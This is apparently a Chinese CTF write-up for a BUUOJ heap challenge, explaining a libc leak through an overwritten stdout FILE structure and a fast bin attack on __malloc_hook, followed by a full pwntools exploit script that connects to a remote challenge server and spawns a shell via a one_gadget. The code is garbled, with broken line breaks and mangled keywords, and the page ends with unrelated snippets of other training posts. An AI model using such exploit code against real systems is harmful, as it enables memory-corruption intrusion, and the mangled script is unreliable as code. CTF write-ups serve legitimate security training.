題目其實本身不難,但我太菜了,這種基礎題不會寫,其次有個疑問就是為什麼stdout可以洩露libc,還沒有逆過這個函式,所以還不是很清楚
由於沒有show函式,所以只能通過stdout來leak libc,而這程式的edit函式有overlap,所以我們可以先把乙個chunk放入unsorted bin中
在通過fast bin attack來修改我們fast bin的fd指標,指向我們之前的unsorted bin中的chunk
接著在修改unsorted bin中的chunk的size為0x71(因為記憶體有0x7f的大小,偏移為0x43),就可以寫入stdout的file結構體了,這時我們洩露了libc
接著再用fast bin attack劫持malloc hook即可
exp
from pwn import *defadd(idx,size,content):
p.recvuntil(
'>> ')
p.sendline('1
')p.recvuntil(
'index :')
p.sendline(str(idx))
p.recvuntil(
'size: ')
p.sendline(str(size))
p.recvuntil(
'content:')
p.send(content)
defedit(idx,size,content):
p.recvuntil(
'>> ')
p.sendline('2
')p.recvuntil(
'index :')
p.sendline(str(idx))
p.recvuntil(
'size: ')
p.sendline(str(size))
p.recvuntil(
'content: ')
p.send(content)
defdelete(idx):
p.recvuntil(
'>> ')
p.sendline('3
')p.recvuntil(
'index :')
p.sendline(str(idx))
defpwn():
libc=elf('
../libc-2.23.so')
add(0, 0x18, '
pppp')
add(1, 0xc8, b'
p'*0x68+p64(0x61))
add(2, 0x68, '
pppp')
add(3, 0x68, '
pppp')
add(4, 0x68, '
pppp')
delete(1)
add(1,0xc8,'
\xdd\x45')
edit(0,0x20,b'
p'*0x18+p64(0x71))#
1 delete(2)
delete(4)
edit(3,len(b'
p'*0x68+p64(0x71)+b'
\x20
'),b'
p'*0x68+p64(0x71)+b'
\x20
')#2
add(4,0x68,'
pppp')
add(2,0x68,'
pppp')
add(5,0x68,b'
ppp'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+b'
\x00')
libc.address=u64(p.recvuntil('
\x7f
')[-6:].ljust(8,b'
\x00
'))-0x3c5600
(hex(libc.address))
malloc_hook=libc.symbols['
__malloc_hook']
system=libc.symbols['
system']
delete(3)
delete(2)
edit(0,len(0x18*b'
p'+p64(0x71)+p64(malloc_hook-0x23)),0x18*b'
p'+p64(0x71)+p64(malloc_hook-0x23))
add(4,0x68,'
/bin/sh\x00')
add(5,0x68,b'
p'*0x13+p64(libc.address+0xf1147))
p.recvuntil(
'>> ')
p.sendline('1
')p.recvuntil(
'index :')
p.sendline('2
')p.recvuntil(
'size: ')
p.sendline('50
')return
true
if__name__ == "
__main__":
while(1):
try:
p=remote('
node3.buuoj.cn
',26593)
pwn()
p.interactive()
break
except
exception as e:
(e) p.close()
continue
寒假訓練數論B
題目 fedya studies in a gymnasium.fedya s maths hometask is to calculate the following expression 1 n 2 n 3 n 4 n mod 5 for given value of n.fedya manag...
牛客寒假訓練營2020 第三場B
乙個圖上一直可以到達終點的方案數,畫出乙個符合這個方案數的圖 數字都可以用二進位制數表示,1e9 230,可以用30位二進位制數表示。所以要在圖中想辦法融入二進位制的思維,可以用邊來表示二進位制的一位。先將對角線都設為b,b有兩種方向,可看作二進位制中的 1 到達第乙個b有1種可能性,到達第二個b有...
2020寒假大一訓練八(棧) nefu
參考 心虛 了一下 學長的文章 洛谷的題解 emmm 是自己乙個個敲的 心虛 不用棧的寫法 學長的emmm好像有些bug include using namespace std const long long m 1e4 stack long long t long long ans,cen,i,j...